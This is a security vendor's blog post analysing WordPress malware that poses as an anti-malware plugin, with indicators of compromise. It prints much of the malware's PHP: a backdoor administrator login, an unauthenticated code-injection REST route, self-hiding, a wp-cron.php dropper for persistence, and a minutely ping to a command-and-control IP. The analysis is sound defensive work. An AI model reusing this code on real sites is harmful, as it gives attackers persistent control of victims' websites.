Interesting WordPress Malware Disguised as Legitimate Anti-Malware Plugin


📢 In case you missed it, Wordfence just published its annual WordPress security report for 2024. Read it now to learn more about the evolving risk landscape of WordPress so you can keep your sites protected in 2025 and beyond.  


The Wordfence Threat Intelligence team recently discovered an interesting malware variant that appears in the file system as a normal WordPress plugin, often with the name ‘WP-antymalwary-bot.php’, and contains several functions that allow attackers to maintain access to your site, hide the plugin from the dashboard, and execute remote code. Pinging functionality that can report back to a Command & Control (C&C) server is also included, as is code that helps spread malware into other directories and inject malicious JavaScript responsible for serving ads.

This malware was first discovered by one of our security analysts during a site clean on January 22, 2025. A malware signature was developed on January 24, 2025 and released to our premium customers within three days after undergoing our QA process. Customers using the free version of Wordfence received the same signature on February 26, 2025 after a 30 day delay. New versions of the malware have since surfaced, all which are detected by the malware signature released back in January. However, for added protection we released a firewall rule on April 23, 2025 to all Wordfence Premium, Care and Response users preventing execution of the file. Site owners using the free version of the Wordfence plugin will receive the same added coverage on May 23, 2025.

As part of our product lineup, we offer security monitoring and malware removal services to our Wordfence Care and Response customers. In the event of a security incident, our incident response team will investigate the root cause, find and remove malware from your site, and help with other complications that may arise as a result of an infection. During the cleanup, malware samples are added to our Threat Intelligence database, which contains over 4.3 million unique malicious samples. The Wordfence plugin and Wordfence CLI scanner detect over 99% of these samples and indicators of compromise when using the premium signatures set. Wordfence CLI can scan your site even if WordPress is no longer functional and is an excellent layer of security to implement at the server-level, part of our mission to secure the web by Defense in Depth.

Malware Analysis: A Deep Dive

At first glance, the malware detected in January appears to be a normal plugin. The presence of a header comment, indentation, and coding features give it legitimacy. Nothing stands out visually with the exception of the author’s name.

We have seen variants like this in plugins, or malware generated by AI, in the past. In fact, the malware from the supply chain attack we reported on last June was AI-generated and shows some similarities to this example surrounding commenting behavior, partially implemented features, and changing feature set over time.

<?php
/**
 * Plugin Name: Enhanced Admin Plugin with Cache Clearing
 * Description: Плагин для добавления PHP-кода в header.php всех тем и очистки кеша.
 * Version: 3.1
 * Author: NameN
 */

In its initial form, the plugin provides a basic check that indicates whether the plugin is properly activated via the check_special_link function, which is hooked into the init hook. The alive check can therefore be performed by anyone. It utilizes the check_plugin GET parameter, which means requests like these should be visible in access log files.

// Проверка состояния плагина
function check_special_link() {
    if (isset($_GET['check_plugin'])) {
        if (!function_exists('is_plugin_active')) {
            include_once(ABSPATH . 'wp-admin/includes/plugin.php');
        }

        $response = is_plugin_active(plugin_basename(__FILE__)) ?
            ['status' => 'active', 'message' => 'Плагин активен.'] :
            ['status' => 'inactive', 'message' => 'Плагин не активен.'];

        header('Content-Type: application/json');
        echo json_encode($response);
        exit;
    }
}
add_action('init', 'check_special_link');

More importantly, the plugin provides immediate administrator access to threat actors via the emergency_login_all_admins function. This function utilizes the emergency_login GET parameter in order to allow attackers to obtain administrator access to the dashboard. If the correct cleartext password is provided, the function fetches all administrator user records from the database, picks the first one and logs the attacker in as that user.

Just like in the case of the alive check above, this function is hooked via the init hook and can be accessed by anyone. Due to the use of GET parameters, requests to the function will be visible in log files (along with the attempted password, which is redacted in the code sample below to prevent abuse), and may be an initial indicator of compromise if the GET request has a 200 response code.

// Экстренный вход в систему
function emergency_login_all_admins() {
    if (isset($_GET['emergency_login']) && $_GET['emergency_login'] === REDACTED) {
        $admins = get_users(['role' => 'administrator']);
        if (!empty($admins)) {
            $admin = reset($admins);
            wp_set_auth_cookie($admin->ID, true);
            wp_redirect(admin_url());
            exit;
        } else {
            wp_die('Администраторы не найдены.');
        }
    }
}
add_action('init', 'emergency_login_all_admins');

What sets this script apart from other malicious scripts is the remote code execution mechanism which makes use of the REST API. The plugin defines a rest route (redacted in the code sample) that can be reached via a POST request and calls the execute_admin_command function. Neither the permission_callback function nor the callback function itself contain any authorization checks.

// Регистрируем маршрут REST API
add_action('rest_api_init', function () {
    register_rest_route('custom/v1', '/REDACTED', [
        'methods' => 'POST',
        'callback' => 'execute_admin_command',
        'permission_callback' => '__return_true',
    ]);
});

// Обработчик команды
function execute_admin_command(WP_REST_Request $request) {
    $data = $request->get_json_params();

    if (!isset($data['command']) || empty($data['command'])) {
        wp_send_json(['message' => 'Команда не указана.'], 400);
    }

    $command = sanitize_text_field($data['command']);
    switch ($command) {
        case 'insert_code':
            if (!isset($data['php_code']) || empty($data['php_code'])) {
                wp_send_json(['message' > 'PHP-код не указан.'], 400);
            }

            $php_code = stripslashes($data['php_code']);
            $result = insert_code_in_header_files($php_code);
            clear_cache_plugins();

            if ($result) {
                wp_send_json(['message' => 'Код успешно добавлен в header.php. Кеш очищен.'], 200);
            } else {
                wp_send_json(['message' => 'Не удалось добавить код.'], 500);
            }

        case 'clear_cache':
            clear_cache_plugins();
            wp_send_json(['message' => 'Кеш успешно очищен.'], 200);

        default:
            wp_send_json(['message' => 'Неизвестная команда.'], 400);
    }
}

The execute_admin_command function accepts a command parameter. Even sanitization is performed, which is often omitted in malware written by humans. Through this command an attacker can clear the caches of several popular caching plugins or insert malicious PHP code into the theme’s header file for which the insert_code_in_header_files function is used. The latter iterates over files in the themes directory and inserts the malicious code provided as a POST parameter at the beginning of each header.php file. This can be spam content, code that redirects users to another malicious site or other malicious code.

// Вставка PHP-кода в header.php
function insert_code_in_header_files($code) {
    $themes_dir = WP_CONTENT_DIR . '/themes';
    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($themes_dir));

    foreach ($iterator as $file) {
        if ($file->getFilename() === 'header.php') {
            $file_path = $file->getPathname();

            if (!is_writable($file_path)) {
                error_log("Файл недоступен для записи: $file_path");
                continue;
            }

            $header_content = file_get_contents($file_path);
            if (strpos($header_content, $code) === false) {
                $new_content = "<?php " . $code . " ?>n" . $header_content;
                file_put_contents($file_path, $new_content);
            }
        }
    }
    return true;
}

In order to avoid being easily spotted, the plugin hides itself from the dashboard on the plugins page through the hide_plugin_from_list function:

// Функция для скрытия плагина из списка
function hide_plugin_from_list($plugins) {
    if (is_admin() && isset($plugins[plugin_basename(__FILE__)])) {
        unset($plugins[plugin_basename(__FILE__)]);
    }
    return $plugins;
}
add_filter('all_plugins', 'hide_plugin_from_list');

As a result, the malicious plugin would not show up in the plugins list.

The malicious plugin appears to be accompanied by a malicious wp-cron.php file. This file is part of WordPress and used to schedule WordPress tasks. It is triggered when the site is visited, which makes it an ideal place for malicious code since it can be invoked with a simple site visit. The infected wp-cron.php file contains the following added configuration code:

<?php
// START CUSTOM CODE

ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

define('WP_USE_THEMES', false);
require_once(dirname(__FILE__) . '/wp-load.php');

$plugin_slug = 'WP-antymalwary-bot';
$plugin_dir = WP_CONTENT_DIR . '/plugins/' . $plugin_slug;
$plugin_file = $plugin_dir . '/' . $plugin_slug . '.php';

if (!file_exists($plugin_dir)) {
    mkdir($plugin_dir, 0755, true);
}

In addition to the above, the file also contains the malicious code stored in a variable. After ensuring that the plugins directory is writable, the code is written to the plugin directory and the malicious plugin is activated.

file_put_contents($plugin_file,$plugin_content);
include_once($plugin_file);
if (file_exists($plugin_file)) {
    include_once(ABSPATH . 'wp-admin/includes/plugin.php');
    activate_plugin(plugin_basename($plugin_file));
}

exit;
?>

Should the plugin be removed from the plugins directory, the wp-cron.php file will replace it upon the next site visit to the site allowing a threat actor to maintain persistence on a compromised site, if not thoroughly remediated.

The Malware Evolved

An updated version of this malware, which was encountered just days ago by one of our security analysts, includes additional functionality. One of the changes is that the malware schedules events using the WordPress scheduler.

In the acpp_activate function below, it reports back to a Command & Control Server located in Cyprus. Interestingly, it also provides code to deactivate the scheduled event. While this is typical for regular code, it feels out of place for malware, which does not expect to be deactivated given the fact that it is hidden in the plugins list.

// Хук активации плагина
register_activation_hook(__FILE__, 'acpp_activate');
function acpp_activate() {
    // Очистка кеша сразу после активации плагина
    clear_cache_plugins();

    if ( ! wp_next_scheduled( 'acpp_ping_event' ) ) {
        wp_schedule_event( time(), 'one_minute', 'acpp_ping_event' );
    }
}

// Хук деактивации плагина — удаляем событие WP‑Cron
register_deactivation_hook(__FILE__, 'acpp_deactivate');
function acpp_deactivate() {
    wp_clear_scheduled_hook( 'acpp_ping_event' );
}

The following code communicates with the C&C server:

// Функция, отправляющая пинг на сервер мониторинга
function acpp_send_ping() {
    $site_url = get_bloginfo( 'url' );
    $data = array(
        'site'      => $site_url,
        'timestamp' => time(),
    );

    // Замените URL на адрес вашего сервера (не забудьте указать порт, если он нестандартный)
    $url = 'http://45.61.136.85:5555/api/plugin-ping';

    $args = array(
        'body'      => json_encode( $data ),
        'headers'   => array( 'Content-Type' => 'application/json' ),
        'timeout'   => 5,
    );

    wp_remote_post( $url, $args );
}
add_action( 'acpp_ping_event', 'acpp_send_ping' );

This means that infected sites are immediately added to the C&C server, which allows the threat actor to maintain a list of infected sites. The information sent to the C&C server includes the site URL as well as a timestamp, which is sent every minute. Together with the emergency_login GET parameter, this is sufficient to login to infected sites.

Furthermore, code injections are handled slightly differently in the replace_head_with_script function of this variant of the malware:

// Функция для вставки скрипта в <head>
function replace_head_with_script($buffer) {
    $final_url = null;
    // Получаем содержимое с удалённого ресурса
    $link = file_get_contents('https://REDACTED/ads.php');
    error_log("ads.php вернул: " . var_export($link, true));
    if ($link !== false && !empty($link)) {
        // Форсированное декодирование
        $decoded_link = force_base64_decode($link);
        error_log("force_base64_decode вернул: " . var_export($decoded_link, true));
        if ($decoded_link !== false) {
            $decoded_link = trim($decoded_link);
            error_log("Обрезанный результат: " . $decoded_link);
            if (filter_var($decoded_link, FILTER_VALIDATE_URL)) {
                $final_url = $decoded_link;
                error_log("Декодированный URL валиден: " . $final_url);
            } else {
                error_log("Декодированный результат не является валидным URL.");
            }
        } else {
            error_log("force_base64_decode вернул false.");
        }
    } else {
        error_log("Не удалось получить данные с https://REDACTED/ads.php или они пусты.");
    }
    // Если найден валидный URL, вставляем скрипт в <head>
    if (isset($final_url) && filter_var($final_url, FILTER_VALIDATE_URL)) {
        $script = <span style="font-weight: 400;">"<script data-cfasync='false' async src='" . esc_url($final_url) . "'></script>";</span>
        return preg_replace('/<head[^>]*>/i', '$0' . $script, $buffer, 1);
    }
    return $buffer;
}

The code above attempts to pull content from a foreign site by requesting the file ads.php. The domain was redacted for privacy considering it is likely the victim of compromise. The file ads.php simply contains a base64 encoded URL to a JavaScript file on yet another hacked site for added obfuscation. The malicious JavaScript is then injected into the themes header.

The following code was added to ensure that sites can serve ads even if the infected sites currently involved in serving this content are to be cleaned or taken down.

// Обновление URL для вставки скрипта (сохранение в опциях) и очистка кеша
function update_custom_ads_url() {
    if (isset($_GET['urlchange']) && filter_var($_GET['urlchange'], FILTER_VALIDATE_URL)) {
        $new_url = esc_url_raw($_GET['urlchange']);
        update_option('custom_ads_url', $new_url);
        clear_cache_plugins();
        echo "URL успешно обновлен на: " . esc_html($new_url) . ". Кеш очищен.";
        exit;
    }
}
add_action('init', 'update_custom_ads_url');

Interestingly, this function stores the new URL in the options table. Currently, the malware contains no code that retrieves this value. We expect this to be implemented as the malware evolves.

An infected theme header.php file will contain code similar to the following at the beginning of the file:

<?php
// START: removable_code
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
if (!isset($_GET['key']) || !isset($_GET['iv'])) {
    return; // Завершаем выполнение, если ключи отсутствуют
}
$encryptedBase64 =

This is followed by a lengthy encrypted payload. We can see that the key and iv parameters are required. They represent the encryption key and initialization vector for the decryption algorithm. If these are ever provided by an attacker when this file is accessed, they would be visible in access logs as well.

Intrusion Vector and Affected Files

Based on timestamps and other evidence gathered during the site clean, the infection appears to begin in wp-cron.php. Data indicates that this infection may have been the result of a compromised hosting account or FTP credentials. Unfortunately, we did not have logs available at the time of our investigation to corroborate.

The actual malware has been seen with these names:

  • WP-antymalwary-bot.php
  • addons.php
  • wpconsole.php
  • wp-performance-booster.php
  • scr.php

Indicators of Compromise

  • Requests to the C&C server at 45.61.136.85
  • Presence of the emergency_login parameter in the access log (in successful requests)
  • Modifications present in wp-cron.php
  • The existence of folders named ‘patterns’ in theme directories
  • Modified theme header files

Conclusion

In today’s blog post, we highlighted an interesting piece of malware that masquerades as a legitimate plugin. It provides a way for attackers to log on to an infected site, as well as infect theme headers, and allows attackers to maintain persistence. This malware shows some resemblance to malicious code found as part of the supply chain attack we reported on back in June and may be an indicator that Threat Actors are starting to use AI to assist in developing more legitimate appearing malware.

Wordfence Premium, Care and Response users, as well as paid Wordfence CLI customers, received malware signatures to detect these infected plugins immediately on January 27th, 2025. Wordfence free users, and Wordfence CLI free users, received this signature after a 30 day delay on February 26th, 2025. Additionally, for added protection, we released a firewall rule on April 23, 2025 to all Wordfence Premium, Care and Response users preventing execution of the file. Site owners using the free version of the Wordfence plugin will receive the same added coverage on May 23, 2025.

The post Interesting WordPress Malware Disguised as Legitimate Anti-Malware Plugin appeared first on Wordfence.

Adicionar aos favoritos o Link permanente.